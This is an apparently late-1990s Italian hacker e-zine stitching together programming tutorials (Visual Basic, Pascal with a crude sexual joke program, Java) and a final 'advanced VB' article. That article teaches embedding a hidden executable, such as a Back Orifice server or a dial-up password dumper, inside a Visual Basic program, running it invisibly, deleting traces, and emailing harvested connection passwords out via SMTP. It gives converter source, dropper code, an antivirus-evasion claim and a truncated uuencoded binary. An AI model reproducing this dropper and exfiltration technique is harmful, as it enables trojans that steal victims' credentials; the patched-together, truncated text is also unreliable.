blocco_istruzioni1; se falsa, il blocco_istruzioni2. ELSE indica quello che deve essere fatto se la condizione risultasse falsa (e' opzionale, vedi l'esempio). E' possibile controllare diverse condizioni, ad esempio: If condizione1 then {blocco_istruzioni1} ElseIf condizione2 then {blocco_istruzioni2} Else {blocco_istruzioni3} End If In questo caso se condizione1 e' falsa viene controllata condizione2 che, se vera, portera' all'esecuzione del blocco_istruzioni2. Se sono tutte false si esegue l'ELSE. E' possibile mettere tutti gli ELSEIF che si vuole e l'ELSE verra' eseguito solo se TUTTI i precedenti risultano essere falsi. Anche le IF, naturalmente, possono essere nidificate, e in questo caso ogni End If si riferisce all'If piu' vicino ancora aperto. Tra le condizioni, come nel ciclo DO/LOOP, e' possibile mettere delle relazioni logiche utilizzando gli operatori sopra descritti (ad es. If A = 1 Or B = 2 then.....). Esiste inoltre un metodo per valutare una variabile e reagire di conseguenza: Select Case variabile Case controllo1 {Istruzioni1} Case controllo2 {Istruzioni2} ... ... Case Else {Istruzioni_Else} End Select variabile e' cio' che viene messo a confronto con i vari CASE. Se variabile corrisponde ad esempio a controllo1 verra' eseguito istruzioni1, e cosi' via... Se nessun controllo da esito positivo viene eseguito il CASE ELSE (facoltativo). Ad esempio: Select Case Voto Case 10 MsgBox "Bravo" Case 6 to 9 MsgBox "Bravetto" Case 3, 4, 5 MsgBox "Applicati" Case is < 3 Msgbox "SFATICATO!!!!" Case Else MsgBox "Errore" End Select In questo esempio si vedono le sintassi che possono avere i CASE: 1 Case 10 --> Controlla se e' uguale a 10 2 Case 6 to 9 --> Controlla se appartiene all'intervallo da 6 a 9 3 Case 3, 4, 5 --> Controlla se e' uguale a 3, a 4 o a 5 (avremmo potuto scrivere CASE 3 to 5) 4 Case is < 3 --> Controlla se e' minore di 3 Come parametro per il CASE e' possibile mettere un valore (1), un intervallo (2), o piu' condizioni staccate da una virgola (3). E' infine possibile utilizzare la parola chiave IS con gli operatori di confronto =, >, =>, <, <= (4) R0n|n ͻ Ŀ PASCAL TUTORIAL [ PRIMA PARTE ] ٺ ͼ _____ /(_ _) _____ ____ _ _ \ ( ) /( ___ ) (( ) ( ) ( ) \\( ) /( ( ) ) )) ( ( )( ) \( ) \( (___) ) (( \( ) ( ) \(_) \(_____) \\ \( ) ( ) |\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/| | Corso a puntate di Turbo Pascal | |/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\| | | | | | Le cose fondamentali da sapere | |______________________________________| Imparare un linguaggio di programmazione non e' mai facilee spesso si ricorre a studiarli forzatamente per necessita'.Ora, sperando che lo finisca, vi presentero' un corso basatosu uno dei linguaggi di programmazione fondamentali, non percio' che riesce a fare ma per il semplice motivo che e' stato uno dei primi linguaggi di programmazione a livello alto. A noi non interessa tanto sfruttarlo per nostre applicazioni mabensi' come base che ci fara' capire come funziona un linguaggio di programmazione un po' piu' complesso.Allora, credo che a questo punto possiamo iniziare:(Azz! Ho finito le siga...e pensare che le ho comprate 6 ore fa..sigh!)Un programma in Pascal, che utilizza solo le istruzioni di base, e' formato generalmente da tre sezioni:--INTESTAZIONE----DICHIARAZIONI----ISTRUZIONI--Nell'intestazione viene specificato il nome del programma.Nelle dichiarazioni vengono descritti in modo formale glioggetti su cui il programma dovra' operare.Nelle istruzioni abbiamo le operazioni in cui vengono descrittele azioni da compiere, collegandole tra loro con opportune strutture di controllo. Ecco lo schema: PROGRAM NOMEDELPROGRAMMA; <-----INTESTAZIONE ......<-----DICHIARAZIONI ...BEGIN... ......<----- ISTRUZIONI (ALLINEATE SEMPRE SOTTO IL TERZO CARATTERE) ...END. <----- INDICA LA FINE DEL PROGRAMMA (QUANDO C'E' IL . ) Di solito l'intestazione viene ignorata dalla cpu mentre nell'end finale ci vuole sempre il punto. ->DICHIARAZIONI<- In un programma che usa solo le strutture di base, questa sezione e' divisa in tre part:La dichiarazione dei moduli usati dal programma (clausola USES) La dichiarazione delle costanti (clausola CONST) La dichiarazione delle variabili (clausola VAR)-->LA DICHIARAZIONE DEI MODULI<--Il Pascal, come succede ormai per la maggior parte dei linguaggi, mette a disposizionedel programmatore diverse librerie di sottoprogrammi di utilita'(moduli).Tra i moduli standard ricordiamo: Il modulo Crt, che contiene le procedure e funzioni che consentono di sfruttare in modo piu' efficiente le potenzialita' della tastiera e del video Il modulo Printer, che contiene le procedure necessarie alla gestione della stampante Il modulo Graph, contenente tutte le procedure e le funzioni legate alla gestione grafica dello schermoLa sintassi della dichiarazione di uno o piu' moduli e' questa:USES nome del modulo,nome del modulo,....,nome del modulo ;-->La dichiarazione delle costanti<-- In Pascal e' possibile gestire due classi di costanti: quelle espresse da noi nel programmaattraverso assegnazione e quelle che vengono dichiarate nella sezione di dichiarazione e sono precedute dalla parola chiave CONST.ES.CONST gravita':=9.81; pigreco:=3.14 ;-->La dichiarazione delle variabili<-- Tutte le variabili usate nel programma devono essere dichiarate, con l'indicazione del tipo,nell'apposita sezione che inizia con la parola chiave VAR.Ecco la sintassi:Var nome della variabile:tipo; nome della variabile,... ..,nome della variabile:tipo;Il nome della variabile e' attribuito da noi, mentre il tipo dobbiamo sceglierlo tra i seguenti: ____________________________________________________________________ | TIPO DESCRIZIONE OCCUPAZIONE | |____________________________________________________________________| | | CONTIENE I NUMERI COMPRESI TRA | | | BYTE | 1 A 255 | 1 BYTE | | | | | |________|_____________________________________|_____________________| | | PERMETTE DI RAPPRESENTARE TUTTI I | | | REAL | VALORI DECIMALI COMPRESI TRA: | 6 BYTE | | | 2.9 * 10 ^-38 A 1.7 * 10^38 | | |________|_____________________________________|_____________________| | | CONSENTE DI RAPPRESENTARE VALORI | | |INTEGER | INTERI RELATIVI COMPRESI TRA: | 2 BYTE | | | -32768 E +32767 | | |________|_____________________________________|_____________________| | | CONSENTE DI RAPPRESENTARE GLI INTERI| | |LONGINT | COMPRESI TRA: | 4 BYTE | | | -2147473648 E +2147483647 | | |________|_____________________________________|_____________________| | | PERMETTE DI RAPPRESENTARE TUTTI | | | CHAR | I CARATTERI APPARTENENTI | 1 BYTE | | | ALL'ALFABETO ASCII | | |________|_____________________________________|_____________________| | | PERMETTE DI RAPPRESENTARE UNA | | | STRING | QUALSIASI SEQUENZA DI CARATTERI LA | FINO A 255 BYTE | | | CUI LUNGHEZZA VARIA DA 1 A 255 | | |________|_____________________________________|_____________________| | | PERMETTE DI RAPPRESENTARE I DUE | | |BOOLEAN | VALORI LOGICI TRUE E FALSE | 1 BYTE | | | | | |________|_____________________________________|_____________________| -->L'ASSEGNAZIONE<-- L'assegnazione permette di memorizzare un valore in una locazione di memoria. La sintassi e' questa:nome della variabile:=valore o espressione;Non dimenticate che ogni assegnazione va chiusa con il punto e virgola. -->LE PROCEDURE DI INPUT/OUTPUT<-- La procedura che in Pascal consente di acquisire dati attraverso tastiera e' READLN. La sintassi e' questa: READLN(VARIABILE); oppure READLN(VARIABILE1,VARIABILE2,...,VARIABILEn);La cpu attende che l'operatore digiti qualcosa da memorizzare nella rispettivalocazione di memoria. Anche quest'istruzione ha bisogno di essere chiusa da un punto e virgola. L'istruzione per visualizzare un messaggio di output sullo schermo e' WRITELN. Sintassi: WRITELN(NOME DELLA VARIABILE); oppure WRITELN(NOME DELLA VARIABILE,NOME DELLA VARIABILE2,...,NOME DELLA VARIABILEn); oppure WRITELN('CIAO LAMER');I primi due mostrano il contenuto delle variabili, mentre il terzo mostra un messaggio sullo schermo. Quando bisogna visualizzare un messaggio a video, il testo deve esserecontenuto tra due apici. Per ottenere, invece, l'output sulla stampante bisogna , quando dichiariamo i moduli, specificare il modulo PRINTER e usare l'opzione LST in questo modo: WRITELN(LST'sAlVe SoNo UnA sTaMpA') ;->LE ISTRUZIONI STRUTTURATE<- Le istruzioni strutturate si dividono in tre tipi: SEQUENZASELEZIONEITERAZIONE -->SEQUENZA<-- La sequenza e' una struttura in cui le istruzioni strutturate che la compongono vengono eseguiteuna dopo l'altra nell'ordine indicato. In Pascal questa struttura e' racchiusa tra le istruzioniBEGIN e END e al suo interno ogni istruzione e' suddivisa dalla successiva attraverso il ; Faccio un esempio di un programma primitivo: PROGRAM UTENGLUONG; (* QUESTO E' UN COMMENTO *) VAR A,B,C:INTEGER; {ANCHE QUESTO} BEGIN WRITELN ('INSERISCI I DUE NUMERI DA SOMMARE'); READLN(A,B); (* LEGGE UN NUMERO CHE NON DEVE SUPERARE LA CIFRA 32767 *) C:=A+B; (*CALCOLA LA SOMMA E LA MEMORIZZA NELLA VARIABILE C*) WRITELN ('LA SOMMA E'' ',C); (*STAMPA LA SOMMA*)END. ...IF A<0 .... CIO SE A MINORE DI 0 ...IF A=0 .... CIO SE A UGUALE A 0 ...IF A<=0 ... CIO SE A MINORE O UGUALE A 0 ...IF A>=0 ... CIO SE A MAGGIORE O UGUALE A 0 ...IF A<>0 ... CIO SE A DIVERSO DA 0 ... Esempio di un programma con selezione: PROGRAM UTENGTUOST; (* QUESTO PROGRAMMA CONFRONTA DUE NUMERI *) VAR A,B:INTEGER;BEGIN WRITELN ('INSERISCI DUE NUMERI'); READLN(A,B); IF A>B THEN WRITELN ('IL PIU'' GRANDE E'' ',A); (* VERIFICA SE A MAGGIORE DI B O VICEVERSA *) IF AITERAZIONE<-- I cicli iterativi servono per ripetere piu' volte un determinato numero di istruzioni sotto ilcontrollo di una condizione booleana.Esistono tre tipi di cicli:il ciclo WHILE, il ciclo REPEAT e il ciclo FOR.Il ciclo WHILE esegue le istruzioni se la condizione e' vera ed esce se la condizione e' falsa.WHILE CONDIZIONE DO BEGIN ISTRUZIONI DA RIPETERE; END;Il ciclo REPEAT esegue le istruzioni se la condizione e' falsa ed esce se e' vera.REPEAT ISTRUZIONI DA RIPETERE;UNTIL CONDIZIONE;Il ciclo FOR e' simile al WHILE ma ripete fino a quando specificato nella condizione. FOR CONDIZIONE DO BEGIN ISTRUZIONI DA RIPETERE; END;Ogni ciclo possiede un contatore. Il contatore deve essere inizializzato fuori dal ciclo eaumentato dentro al ciclo o viceversa, tranne con il FOR.Ora vi mostro un programma che sfrutta tutti e tre i cicli: PROGRAM SONOUNFRISCONE; (* QUESTO PROG NON SERVE A NIENTE *) USES CRT; VAR K,CAZZO,I,VAGINA,SEGA:INTEGER; NOME:STRING[15]; (* IL 15 TRA [] SIGNIFICA CHE LA PAROLA PUo' ESSERE LUNGA 15 CARATTERI *) CHIAVAMI:BOOLEAN; BEGIN REPEAT (* CONTROLLA SE K E' MAGGIORE DI 0 *) WRITELN ('INSERISCI QUANTE TE NE VUOI CHIAVARE'); READLN(K); UNTIL K>0; WRITELN ('QUANTO CM CE L''HAI LUNGO?'); READLN(CAZZO); WRITELN ('QUANTI CM CE L''HA LARGA, LEI? '); READLN(VAGINA); IF CAZZO>VAGINA THEN SEGA:=CAZZO-VAGINA; IF VAGINA>CAZZO THEN SEGA:=VAGINA-CAZZO; IF SEGA>10 THEN WRITELN ('AHIAHIAHI SEI FUORI DALLA MEDIA, VEDIAMO DI RECUPERARE!'); DELAY(3000); (*QUESTO COMANDO SERVE PER ASPETTARE ALCUNI SECONDI PRIMA DI CONTINUARE *) CLRSCR; (* QUESTO COMANDO SERVE PER PULIRE LO SCHERMO *) WRITELN ('IL TUO CAZZO DOVREBBE ESSERE COSI'' '); DELAY(2000); (*ASPETTA UN ALTRO PO'*) WRITELN (''); WRITELN (' ___ ____ '); WRITELN (' / | \ '); WRITELN (' ( ) '); WRITELN (' \ / '); (* RIPETE IL CICLO DA 1 A SEGA*) FOR I:=1 TO SEGA DO WRITELN (' | | '); WRITELN (' / \ '); WRITELN (' ( ) '); WRITELN ('( () )'); WRITELN (' ( ( ( ) '); WRITELN (' ((( ))) '); DELAY(5000); (*MI SON ROTTO DI ASPETTARE*) CLRSCR; WRITELN ('COME TI CHIAMI?'); READLN (NOME); WRITELN ('ALLORA ',NOME,' CERCHIAMO DI FAR LUCE SU QUESTO CASO'); DELAY(3000); (*UFF*) I:=1; (* INIZIALIZZA IL CONTATORE AD 1 *) CHIAVAMI:=FALSE; (* INIZIALIZZA LA VARIABILE BOOLEANA A FALSE *) WHILE (I<=K) AND (CHIAVAMI=FALSE) DO BEGIN WRITELN ('IL ',I,' GIORNO TE NE TIRI ',SEGA); IF SEGA=0 THEN CHIAVAMI:=TRUE; (* SE SEGA E' UGUALE A ZERO DICHIARA F=TRUE*) SEGA:=SEGA-1; I:=I+1; END; (* IL CICLO SI FINISCE SE F TRUE E SE I HA RAGGIUNTO K*)END. E' ovvio che guardando questo prog non riusciate a capire cosa faccia, vabbe' quello e' normale! Neanche io ho capito che fa! L'importante e' aver capito come funziano i cicli. Credo che per ora basta cosi', per il continuo mi raccomando non perdete di vistala rivista che se l'avete gia' vista avete preso una svista e per ora ben vista'.La prox volta vedremo le strutture non primitive, gli array e qualcos'altro...;-3Per ora sbizzaritevi con questi comandi ;-PABS(X)Calcola il valore assoluto di xArcTan(X)Calcola al'arcotangente in radianti di XChr(CODICE)Restituisce il carattere che ha il codice ASCII specificatoCopy(STRINGA,POSIZIONE,NUMEROCARATTERI)Estrae dalla stringa una sottostringa formata dal numero di caratteri specificatopresi a partire dalla posizione indicata.Cos(X)Calcola il coseno di un angolo in radiantiDelay (MILLISEC)Interrompe l'esecuzione del programma per il tempo specificato Delete(STRINGA,POSIZIONE,NUMEROCARATTERI)Elimina dalla stringa un certo numero di caratteri a partire dalla posizione specificata. Exp(X)Calcola il valore della funzione esponenziale e^xFrac(X)Calcola la parte frazionaria, compresa tra 0 e 1, di un numero realeInsert(NUOVA,ORIGINALE,POSIZIONE) Inserisce i caratteri della nuova stringa all'interno della stringa originaleInt(x)Calcola la parte intera di un numero realeLenght(STRINGA) Restituisce il numero di caratteri che compongono la stringaLn(X)Calcola il logaritmo naturaleOrd(CARATTERE)Restituisce il codice ASCII del caratterePi Restituisce il valore della costante pigreco con 18 cifre decimaliRandom(N) Resituisce un numero casuale intero compreso tra 0 e N-1RandomizeQuesta funzione si deve inizializzare se si vuole usare il comando RandomRound(X) Arrotonda un numero reale all'intero piu' vicinoSin(X)Calcola il coseno di un angolo in radiantiSqr(X)Calcola il quadratoSqrt(x)Calcola la radice quadrata di un numero realeStr(VALORE,STRINGA)Genera la stringa di caratteri corrispon dente al valore numerico specificatoStr(STRINGA,VALORE)Genera il valore corrispondente alla stringa di caratteri specificataTrunc(X)Elimina la parte decimale di un numero reale. T0rment0 urkes@hotmail.com http://come.to/hackernovello ͻ Ŀ JAVA TUTORIAL [ PRIMA PARTE ] ٺ ͼ che cos'e' java??? Java e' un linguaggio di programmazione molto simile al c++ o al pascal piuttosto che a un linguaggio di descrizione della pagina come HTML o a un semplice linguaggio di skript come JavaSkript. Piu' specifikatamente, java e' un linguaggio di programmazione orientato ad oggetti (come il Visual Basic)sviluppato dalla Sun MicroSystems, ispirato al C++ (quindi noterete molte somiglianze) ed e' stato progettato con lo scopo di ottenere un prodotto di piccole dimensioni, semplice e portabile su diverse piattaforme e sistemi operativi, sia a livello del kodice sorgente sia al livello del kodice binario il ke signifika che i programmi java(sia applet che applicazioni) possono essere eseguiti su qualunque komputer sia installata una makkina java. Va be' cmq se avete capito (o almeno avete letto) li' sopra avete compreso qual'e' la differenza di java con gli altri linguaggi, cioe' la possibilita' di avere un programma compatibile sulla maggior parte dei sistemi (Pentium, powerPC, SPARC) Ekkovi uno schemino Metodo per compilare i programmi tradizionale /COMPILATORE PENTIUM -------> File binario Pentium / / CODICE SORGENTE------COMPILATORE POWERPC-----> Flie binario PowerPC \ \ \COMPILATORE SPARC ---------> File binario SPARC Metodo programmi Java CODICE SORGENTE-------->Compilatore Java------->Bytecode Java indipendente dalla piattaforma | | /-------|------\ / | \ / | \ Pentium PowerPC SPARC Ovviamente bisogna aver installati i Bytecode, cioe' speciali istruzioni di makkina che non sono specifike per un particolare processore o computer. Programmazione orientata ad oggetti La programmazione orientata ad oggetti e' modellata in base al fatto che, spesso, gli oggetti del mondo reale sono composti di oggetti piu' semplici di vario genere. Questa capacita' di combinare oggetti e' tuttavia solo un aspetto molto generale della programmazione orientata ad oggetti; numerosi altri concetti e caratteri stiche facilitano e rendono + flessibile la creazione e l'impiego di oggetti: le classi rappresentano il + importante di questi aspetti. Quando si scrivono programmi in un linguaggio orientato ad oggetti, non si definiscono in realta' degli oggetti, ma classi di oggetti, ovvero modelli per diversi oggetti con caratterisctiche simili. Una classe incorpora le caratterisctiche di una famiglia particolare di oggetti per esempio..... ALBERO | _________ |__________ / | \ / / \ \ / / \ \ / / \ \ / / \ \ PINO ABETE QUERCIA BETULLA \ Ecco...ALBERO fa da modello astratto che descriva le caratteristiche basilari per poter far parte di questa categoria mentre PINO ABETE QUERCIA sono istanze (oggetti) cioe' pur comportandosi come un albero si diversificano in base alle caratteristiche di ognuno (un abete e' diverso da un pino anche se sono entrabi alberi). ATTRIBUTI Gli attributi sono elementi che differenziano tra loro gli oggetti e ne determinano l'aspetto, lo stato e altre qualita'. Gli attributi sono definiti da variabili; tipi e nomi delle variabili sono deefiniti nella classe e ogni oggetto puo' avere valori particolari per esse.Poiche' i valori delle variabili possono variare da un'istanza all'altra, si parla di variabili istanza. Questa puo' essere imposta al momento della creazione dell'oggetto e rimanere immutata per tutta la vita di quest'ultimo, oppure essere modificata a piacere durante l'esecuzione del programma. Cambiando il valore della variabile, si modiFICAno ;) gli attributi dell'oggetto. CREAZIONE DI UNA CLASSE Adesso cominciamo a fare qualche cosa....... class Makkina { String marca String colore boolean statoMotore = false; void avviaMotore() { if (statoMotore == true) System.out.println("Il motore e' gia' acceso."); else { statoMotore = true; System.out.println("Il motore e' stato acceso."); } } void mostraAttr() { System.out.println("questa makkina e' una " + marca + " " + colore); if statoMotore == true System.out.println("Il motore ora e' acceso."); else System.out.println("Il motore ora e' spento."); } public static void main (String args[]) { Makkina m= new Makkina(); m.marca = "Ferrari 350"; m.colore = "rossa"; System.out.println("Chiamo mostraAttr..."); m.mostraAttr(); Syetem.out.println("___"); System.out.println("Avvio il motore..."); m.avviaMotore(); System.out.println("___"); System.out.println("Chiamo mostraAttr..."); m.mostraAttr(); System.out.println("___"); System.out.println("Avvio il motore..."); m.avviaMotore(); } } Compilate la classe........ La prima riga dikiara il metodo main() ...mmmm...forse di questo e' meglio parlare la volta prossima La riga 2, Makkina m = new Makkina(), genera una nuova istanza della classe Motocicletta e pone nella variabile m un riferimento a essa.Cmq solitamente, nei programmi java, non si opera direttamente sulle classi, ma si generano oggetti dalle classi e si richiamano i metodi degli oggetti. Le righe 5 e 6 richiamano il metodo mostraAttr(), definito nell'oggetto makkina (per la precisione la righa 6 richiama il metodo, mentre la righa 5 stampa l'avviso che si sta' per richiamare il metodo). Il nuovo oggetto makkina stampa i valori delle sue variabili istanza(marca, colore, impostate nelle righe precedenti) e comunicache il motore e' spento. La righa 7 stampa una linea di separazione sullo schermo, a fini puramente estetici. LA righa 9 richiama il metodo avviaMotore() dell'oggetto makkina, per avviare il motore. Il motore e' ora acceso. La righa 12 stampa nuovamente i valori delle variabili istanza. Ora il motorerisulta acceso. La righa 15 tenta di accendere di nuovo il motore; poiche' questo e' gia' acceso, viene stampato il messaggio: "Il motore e' gia' acceso". Okki, per questa 1(e scarsa) uscita ho finito bbbbbbbbbyyyyyyyyeeeeeeeeee!!!!!!!! INTERVALLO by N0bodY88 Scrivo queste poke righe solo x dirvi di prepararvi mentalmente al contenuto dei prossimi articoli sulla programmazione postati dal mitico Master, anke se ankora adesso non ci credo che abbia scritto x noi! Adesso vi lascio a questa lettura, sperando che dopo tutti questi tutorial e tutti questi art. di Master vi venga almeno una minima idea di comincirae a programmare :))) N0bodY88 ͻ Ŀ VB AVANZATO ٺ ͼ Sistema per includere in un unico PE generato da visual basic piu' programmi. Vi hanno detto che non e' possibile. In effetti e' vero, per farlo bisogna ricorrere ad un trucco abbastanza semplice anche se un po' laborioso. Cosa e' possibile fare, con questo sistema, per un utente malizioso? es: 1. Unire ad un programma proprio un altro da far partire in maniera invisibile 2. Collegare due programmi tra loro tipo il silkerope. 3. Iglobare in un compilato vb un altro programma qualunque (proveniente cioe' da un qualunque altro compilatore) rendendolo oltretutto assolutamente invisibile ad ogni controllo. (anche il server di una backdoor quindi.) La tecnica e' semplice. Praticamente bisogna fare una procedura primaria che converta il programma da inglobare in una immagine binaria da inserire nel nostro sorgente. Facciamo un caso semplice: il programma prova.exe contenente solo tre byte ( ABC ) deve essere inglobato in un sorgente vb. si convertono tutti i byte di prova.exe nel loro equivalente decimale e si inseriscono formattati a tre cifre decimali in una variabile stringa: A=065, B=066, C=067 quindi C(1)="065066067" il passo successivo sara' una procedura che reimpostera' il programma originale: ' Il programma originale prova.exe Dim C(1) as String C(1)="065066067" ' Il programma reimpostato Open "prova.exe" for Output as #1 for n=1 to 3 Print #1, Chr$(Mid$(c(1), (n - 1) * 3 + 1, 3)); Next n Close #1 un successivo passo tipo alfa=Shell("prova.exe",0) ... Kill("prova.exe") potrebbe provvedere all'esecuzione invisibile all'eliminazione successiva del programma -ricreato- al fine di non lasciare orme rintracciabili. problemi e limitazioni: Il vb 5 essendo full 32b gestisce i programmi a 16b o dos con meno disinvoltura rispetto alle versioni precedenti percui per non avere problemi di conflitto spesso e' meglio compilarsi questo tipo di programmi col visual basic 4.. cio' non toglie che anche il 5 nel 99.9% dei casi faccia egregiamente il suo lavoro. Ogni programma cosi' inglobato e' rappresentato da una immagine di se che solitamente e' dalle 3 alle quattro volte superiore come dimensioni rispetto a quelle originali. DialupPassword passa -trasformato- da 16k a circa 56k. .. finita la teoria, la pratica. Un esempio 'reale' di cio' che e' possibile fare. Mettiamo di avere il sorgente di un nostro programma "A" al quale vogliamo unire un tool gia' preconfezionato per il recupero delle passowrd di connessione e successivamente provvedere all'invio di queste ultime ad un indirizzo email a noi noto. (Il tool per recuperare le passowrd di connessione si chiama dialupPassword e lo trovate codificato uuencode alla fine di questo articolo) Serve come prima cosa un programma che ci converta il file dialuppassword nella sua immagine binaria. Allora rinominiamo DialupPassword.exe come p.exe (meglio usare nomi poco didascalici) Serve a questo punto un tool di conversione, questo l'ho fatto in C per ovviare ad un evidente problema di velocita', in visual basic impiegava una vita per convertire file di una certa dimensione. (cmq lo trovate anche questo gia compilato e unito in fondo all'articolo come VBC.exe.) Ho chiamato questo semplice ma efficacissimo tool VBC (visual basic converter) funziona cosi: avendo un file PIPPO.exe da convertire lo si passa al VBC con questa sintassi VBC pippo.exe il converter creera' una immagine binaria del file pippo.exe chiamandola pippo.ex_ Il sorgente del programma VBC per chi volesse ricompilarselo da se e' questo: ------------------------------------------------------------- #include #include #define MAX_RIGA=20 void main(n,file) int n; char *file[]; { char *p,*w; FILE *CREA_FILE, *CONVERTI; long k=0,i=0,f=0; CONVERTI=fopen(file[1],"rb"); p=file[1]; p[strlen(p)-1]='_'; CREA_FILE=fopen(p,"wb"); fprintf(CREA_FILE,"C(%ld)=\"",k); k++; while(!feof(CONVERTI)) { w=fgetc(CONVERTI); if(w>=100) fprintf(CREA_FILE,"%d",w); else if(w>=10&&w<=99) fprintf(CREA_FILE,"0%d",w); else if(w>=0&&w<=9) fprintf(CREA_FILE,"00%d",w); i++;f=1; if(i>=MAX_RIGA) { fprintf(CREA_FILE,"\"%c%cC(%ld)=\"",13,10,k); k++;i=0;f=0; } } if(f==1)fprintf(CREA_FILE,"\"%c%c",13,10); fclose(CONVERTI); fclose(CREA_FILE); } ------------------------------------------------------------- VBC p.exe creera' allora il file p.ex_ il quale contiene queste righe: C(0)="077090080000002000000000004000015000255255000000184000000000" C(1)="000000000000064000026000000000000000000000000000000000000000" C(2)="000000000000000000000000000000000000000000000000000000000000" C(3)="000001000000186016000014031180009205033184001076205033144144" C(4)="084104105115032112114111103114097109032109117115116032098101" C(5)="032114117110032117110100101114032087105110051050013010036055" ..... C(786)="000000000000000000000000000000000000000000000000000000000000" C(787)="000000000000000000000000000000000000000000000000000000000000" C(788)="000000000000000000000000000000000000000000000000000000000000" C(789)="000000000000000000000000000000000000000000000000000000000000" C(790)="000000000000000000000000000000000000000000000000000000000000" C(791)="000000000000000000000000000000000000000000000000000000000000" C(792)="000000000000000000000000000000000000000000000000000000000000" C(793)="000000000000000000000000000000000000" Queste sono le definizioni del vettore stringa C() da inserire con copia e incolla nel nostro sorgente VB. Creeremo quindi una procedura cosi': ------------------------------------------------------------------- Private Sub Command1_Click() ' Vettore stringa C dimensionato relativamente al numero di stringhe ' generate da VBC Dim c(793) As String ' Copia e incolla da p.ex_ C(0)="077090080000002000000000004000015000255255000000184000000000" C(1)="000000000000064000026000000000000000000000000000000000000000" C(2)="000000000000000000000000000000000000000000000000000000000000" C(3)="000001000000186016000014031180009205033184001076205033144144" C(4)="084104105115032112114111103114097109032109117115116032098101" C(5)="032114117110032117110100101114032087105110051050013010036055" ..... C(786)="000000000000000000000000000000000000000000000000000000000000" C(787)="000000000000000000000000000000000000000000000000000000000000" C(788)="000000000000000000000000000000000000000000000000000000000000" C(789)="000000000000000000000000000000000000000000000000000000000000" C(790)="000000000000000000000000000000000000000000000000000000000000" C(791)="000000000000000000000000000000000000000000000000000000000000" C(792)="000000000000000000000000000000000000000000000000000000000000" C(793)="000000000000000000000000000000000000" 'ESEMPIO DI UTILIZZO 'RIGENERA IL FILE PER IL RECUPERO DELLE PASSWORD Open "prova.exe" For Output As #1 For n = 0 To 793 For i = 1 To Len(c(n)) / 3 Print #1, Chr$(Mid$(c(n), (i - 1) * 3 + 1, 3)); Next i Next n Close #1 ' CREA UN FILE BATCH PER l'ESECUZIONE CON PARAMETRI DEL PROGRAMMA ' RIGENERATO, LO ESEGUE E CREA UN FILE PASS.TXT CONTENENTE TUTTE ' LE PASSWORD DI CONNESSIONE (IN CHIARO) SALVATE PRECEDENTEMENTE Open "vai.bat" For Output As #1 Print #1, "prova > pass.txt" Print #1, "del prova.exe" Print #1, "" Close #1 alfa = Shell("vai.bat", 0) End Sub ------------------------------------------------------------------- RUN.. e nella dir dentro la quale si e' compilato il programma sopra ci troveremo un file di testo chimato. PASS.txt contenente le password di connessione. Il programma DialupPassword ha eseguito il suo lavoro restando pero' completamente mistificato all'interno di un unico e 'rassicurante' file VB. emh.. giusto per chi fosse curioso, il server di backorifice compattato con wwpack32 e passato al VBC diventa circa 250k .. sarebbero da considerare quindi nel proprio programma visual basic 300/350k in piu' rispetto al normale dimensionamento, anche se ovviamente il fatto di avere un server pronto a partire attaccato assieme al proprio tool e completamente invisibile a TUTTI gli antivirus potrebbe richiamare dei notevoli vantaggi.. anche in relazione al fatto che il piu' agile Silkerope e' abbastanza malvisto dai vari antivirus che dichiarano i suoi prodotti come programmi sospetti. Finito. ;-) .. ah gia... manca la parte piu' interessante: come spedire il file pass.txt ad un indirizzo email. Si potrebbe usare uno dei tanti programmi freeware che si trovano in rete ed eseguirli con shell. Si potrebbe usare un ocx apposito tipo SMTP.OCX. Il sistema che vi mostro e' decisamente piu' sempice ed oltretutto spiega un metodo generale col quale e' possibile inviare dati via http, ftp, smtp, pop, sock, ecc.. Richiede solamente l'utilizzo del WInsock.. l'ocx col quale in effetti e' possibile fare veramente di TUTTO. Spedire una mail col winsock e' una procedura analoga a quella usata con telnet. Cosa occorre: Soltanto due cose: 1. un server SMTP possibilmente col relay .. altimenti la vostra mail non arrivera' mai. (La cosa migliore sarebbe usare il server smtp del tizio che -usera'- il programma.. ..lui sicuramente il relay sul suo server smtp ce l'ha! ;-) 2. Queste istruzioni da inserire in una procedura Visual basic dopo aver attivato e trascinato sul form principale il controllo winsock: (Vanno bene in pratica sia il MS-winsock che il Winsock degli intranet activeX.) ' Passo 1.. collegarsi al server smtp: ' Per dare il tempo ai dati di arrivare.. ' occorre dopo ogni comando aspettare n secondi ' la procedura delay(n) blocca l'esecuzione ' per il tempo necessario appunto. Private Sub delay(n) S = Timer:Do While Timer1@0`"+P/\EX&!``(O`_R7<8$``B\#_)=A@0`"+P/\E$&%` M`(O`_R748$``B\#_)=!@0`"+P/\ES&!``(O`_R7(8$``B\#_)<1@0`"+P/\E MP&!``(O`_R6\8$``B\#_);A@0`"+P/\EM&!``(O`_R6P8$``B\#_)2!A0`"+ MP/\E'&%``(O`_R4884``B\#_):Q@0`"+P/\E*&%``(O`4X/$O+L*````5.BA M____]D0D+`%T!0^W7"0PB\.#Q$1;PXO`_R6H8$``B\#_):1@0`"+P/\EH&!` M`(O`_R6<8$``B\#_)9A@0`"+P/\EE&!``(O`_R608$``B\#_)8Q@0`"+P%-6 MOAQ40`"#/@!U.FA$!@``:@#HJ/___XO(AR+!HL0B19>6\.0B0")0`3#B\!35HOR MB]CHG?___X7`=04SP%Y;PXL6B5`(BU8$B5`,BQ.)$(E8!(E"!(D#L`%>6\.+ M4`2+"(D*B5$$BQ4<5$``B1"C'%1``,-35E=548OQB10DB^B+70"+!"2+$(D6 MBU`$B58$BSN+0PB+T`-3##L6=12+P^BW____BT,(B0:+0PP!1@3K%HL6`U8$ M.\)U#8O#Z)K___^+0PP!1@2+WSOK=<*+UHO%Z%7___^$P'4$,\")!EI=7UY; MPXU``%-65U6#Q/B+V(O[BS*+0P@[\')LB\X#2@2+Z`-K##O-=UX[\'4;BT($ M`4,(BT($*4,,@WL,`'5$B\/H-?___^L[BPJ+<@0#SHOX`WL,.\]U!2ES#.LF MBPH#2@2)#"0K^8E\)`2+$BO0B5,,B]2+P^C0_O__A,!U!#/`ZPRP`>L(BQL[ M^W6%,\!96EU?7EO#D%-65XO:B_"!_@``$`!]![X``!``ZPR!QO__``"!Y@`` M__^)8``/__B7,$:@1H`"```%95 